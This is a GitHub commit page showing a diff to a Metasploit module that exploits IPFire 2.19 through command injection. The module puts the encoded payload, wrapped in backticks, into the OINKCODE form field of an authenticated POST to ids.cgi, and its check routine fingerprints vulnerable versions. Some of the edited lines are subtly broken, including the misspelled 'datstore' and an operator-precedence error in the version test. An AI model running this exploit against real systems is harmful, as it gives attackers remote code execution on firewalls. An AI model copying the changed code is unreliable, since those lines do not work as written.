Skip to content

Commit e005e51

Browse files
committed
some edits finished
1 parent 46ffd25 commit e005e51

File tree

1 file changed

+11
-11
lines changed

1 file changed

+11
-11
lines changed

modules/exploits/linux/http/ipfire_oinkcode_exec.rb

Lines changed: 11 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,7 @@ def initialize(info = {})
4444
[ 'Automatic Target', {}]
4545
],
4646
'DefaultTarget' => 0,
47-
'DisclosureDate' => 'Jun 09 2016'
47+
'DisclosureDate' => 'Jun 09 2017'
4848
)
4949
)
5050

@@ -53,7 +53,7 @@ def initialize(info = {})
5353
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
5454
OptString.new('PASSWORD', [ false, 'Password to login with', '']),
5555
Opt::RPORT(444)
56-
], self.class
56+
]
5757
)
5858
end
5959

@@ -62,18 +62,18 @@ def check
6262
# authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179
6363
# after a chat with @bcoles in IRC.
6464
res = send_request_cgi(
65-
'uri' => '/cgi-bin/pakfire.cgi',
66-
'method' => 'GET',
65+
'uri' => '/cgi-bin/pakfire.cgi',
66+
'method' => 'GET',
6767
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
6868
)
6969
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
7070
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
7171
/\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
7272

73-
if version && update && version == "2.19" && update.to_i <= 110
74-
Exploit::CheckCode::Appears
73+
if version && update && version.eql? "2.19" && update.to_i <= 110
74+
CheckCode::Appears
7575
else
76-
Exploit::CheckCode::Safe
76+
CheckCode::Safe
7777
end
7878
rescue ::Rex::ConnectionError
7979
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
@@ -87,11 +87,10 @@ def exploit
8787
res = send_request_cgi(
8888
'uri' => '/cgi-bin/ids.cgi',
8989
'method' => 'POST',
90-
'ctype' => 'application/x-www-form-urlencoded',
9190
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
9291
'headers' =>
9392
{
94-
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/ids.cgi"
93+
'Referer' => "#{datstore['SSL'] ? 'https' : 'http'}://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/ids.cgi"
9594
},
9695
'vars_post' => {
9796
'ENABLE_SNORT_GREEN' => 'on',
@@ -100,13 +99,14 @@ def exploit
10099
'OINKCODE' => "`#{payload.encoded}`",
101100
'ACTION' => 'Download new ruleset',
102101
'ACTION2' => 'snort'
103-
},
102+
}
104103
)
105104

106105
# success means we hang our session, and wont get back a response
107106
if res
108-
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
109107
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
108+
else
109+
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response")
110110
end
111111

112112
rescue ::Rex::ConnectionError

0 commit comments

Comments
 (0)